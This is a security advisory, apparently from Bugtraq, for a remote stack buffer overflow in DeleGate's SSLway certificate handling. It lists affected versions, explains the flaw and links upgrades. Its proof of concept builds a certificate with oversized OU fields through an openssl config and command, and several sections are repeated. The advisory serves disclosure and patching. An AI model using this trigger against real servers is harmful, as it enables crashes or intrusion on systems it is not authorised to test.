DeleGate SSLway Filter Remote Stack Based Buffer Overflow Vulnerability
BID:10295
Info
DeleGate SSLway Filter Remote Stack Based Buffer Overflow Vulnerability
| Bugtraq ID: | 10295 |
| Class: | Boundary Condition Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | May 06 2004 12:00AM |
| Updated: | May 06 2004 12:00AM |
| Credit: | Discovery of this vulnerability has been credited to Joel Eriksson <[email protected]>. |
| Vulnerable: |
DeleGate DeleGate 8.9.2 DeleGate DeleGate 8.9.1 DeleGate DeleGate 8.9 DeleGate DeleGate 8.5 .0 DeleGate DeleGate 8.4 .0 DeleGate DeleGate 8.3.4 DeleGate DeleGate 8.3.3 DeleGate DeleGate 7.9.11 DeleGate DeleGate 7.8.2 DeleGate DeleGate 7.8.1 DeleGate DeleGate 7.8 .0 DeleGate DeleGate 7.7.1 DeleGate DeleGate 7.7 .0 |
| Not Vulnerable: |
DeleGate DeleGate 8.9.3 |
Discussion
DeleGate SSLway Filter Remote Stack Based Buffer Overflow Vulnerability
A remote buffer overflow vulnerability has been reported to affect the DeleGate SSLway filter. This filter is employed when DeleGate is applying SSL to arbitrary protocols.
The issue presents itself due to a lack of sufficient boundary checks performed, when copying user-supplied certificate field contents.
A remote attacker may potentially exploit this issue, to overwrite the return address of the static ssl_prcert() function. The attacker may corrupt any other saved value that is within 768 bytes from the end of the affected buffers.
It has been reported that the X509_NAME_oneline() function will perform character conversion on characters below '0x20' or above '0x7e'; this may hinder exploitation of this issue.
A remote buffer overflow vulnerability has been reported to affect the DeleGate SSLway filter. This filter is employed when DeleGate is applying SSL to arbitrary protocols.
The issue presents itself due to a lack of sufficient boundary checks performed, when copying user-supplied certificate field contents.
A remote attacker may potentially exploit this issue, to overwrite the return address of the static ssl_prcert() function. The attacker may corrupt any other saved value that is within 768 bytes from the end of the affected buffers.
It has been reported that the X509_NAME_oneline() function will perform character conversion on characters below '0x20' or above '0x7e'; this may hinder exploitation of this issue.
Exploit / POC
DeleGate SSLway Filter Remote Stack Based Buffer Overflow Vulnerability
The following example has been supplied:
[je@vudo ~]$ cat>openssl.cnf<<EOF
> [ req ]
> distinguished_name = req_dn
> prompt = no
> [ req_dn ]
> CN=bof
> 0.OU=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> 1.OU=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> 2.OU=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> 3.OU=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
EOF
[je@vudo ~]$ openssl req -x509 -new -nodes -out bof.pem -keyout bof.pem -config openssl.cnf
Generating a 512 bit RSA private key
.........++++++++++++
..........++++++++++++
writing new private key to 'bof.pem'
Currently we are not aware of any exploits for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
The following example has been supplied:
[je@vudo ~]$ cat>openssl.cnf<<EOF
> [ req ]
> distinguished_name = req_dn
> prompt = no
> [ req_dn ]
> CN=bof
> 0.OU=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> 1.OU=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> 2.OU=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> 3.OU=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
EOF
[je@vudo ~]$ openssl req -x509 -new -nodes -out bof.pem -keyout bof.pem -config openssl.cnf
Generating a 512 bit RSA private key
.........++++++++++++
..........++++++++++++
writing new private key to 'bof.pem'
Currently we are not aware of any exploits for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution / Fix
DeleGate SSLway Filter Remote Stack Based Buffer Overflow Vulnerability
Solution:
The vendor has released an upgrade to address this issue:
DeleGate DeleGate 7.7 .0
DeleGate DeleGate 7.7.1
DeleGate DeleGate 7.8 .0
DeleGate DeleGate 7.8.1
DeleGate DeleGate 7.8.2
DeleGate DeleGate 7.9.11
DeleGate DeleGate 8.3.3
DeleGate DeleGate 8.3.4
DeleGate DeleGate 8.4 .0
DeleGate DeleGate 8.5 .0
DeleGate DeleGate 8.9
DeleGate DeleGate 8.9.1
DeleGate DeleGate 8.9.2
Solution:
The vendor has released an upgrade to address this issue:
DeleGate DeleGate 7.7 .0
-
DeleGate DeleGate/8.9.3
ftp://ftp.delegate.org/pub/DeleGate/download.html
DeleGate DeleGate 7.7.1
-
DeleGate DeleGate/8.9.3
ftp://ftp.delegate.org/pub/DeleGate/download.html
DeleGate DeleGate 7.8 .0
-
DeleGate DeleGate/8.9.3
ftp://ftp.delegate.org/pub/DeleGate/download.html
DeleGate DeleGate 7.8.1
-
DeleGate DeleGate/8.9.3
ftp://ftp.delegate.org/pub/DeleGate/download.html
DeleGate DeleGate 7.8.2
-
DeleGate DeleGate/8.9.3
ftp://ftp.delegate.org/pub/DeleGate/download.html
DeleGate DeleGate 7.9.11
-
DeleGate DeleGate/8.9.3
ftp://ftp.delegate.org/pub/DeleGate/download.html
DeleGate DeleGate 8.3.3
-
DeleGate DeleGate/8.9.3
ftp://ftp.delegate.org/pub/DeleGate/download.html
DeleGate DeleGate 8.3.4
-
DeleGate DeleGate/8.9.3
ftp://ftp.delegate.org/pub/DeleGate/download.html
DeleGate DeleGate 8.4 .0
-
DeleGate DeleGate/8.9.3
ftp://ftp.delegate.org/pub/DeleGate/download.html
DeleGate DeleGate 8.5 .0
-
DeleGate DeleGate/8.9.3
ftp://ftp.delegate.org/pub/DeleGate/download.html
DeleGate DeleGate 8.9
-
DeleGate DeleGate/8.9.3
ftp://ftp.delegate.org/pub/DeleGate/download.html
DeleGate DeleGate 8.9.1
-
DeleGate DeleGate/8.9.3
ftp://ftp.delegate.org/pub/DeleGate/download.html
DeleGate DeleGate 8.9.2
-
DeleGate DeleGate/8.9.3
ftp://ftp.delegate.org/pub/DeleGate/download.html
References
DeleGate SSLway Filter Remote Stack Based Buffer Overflow Vulnerability
References:
References:
- DeleGate (DeleGate)
- History of DeleGate Updates (DeleGate)
- [0xbadc0ded #03] DeleGate (SSL-filter) <= 8.9.2 (Joel Eriksson
)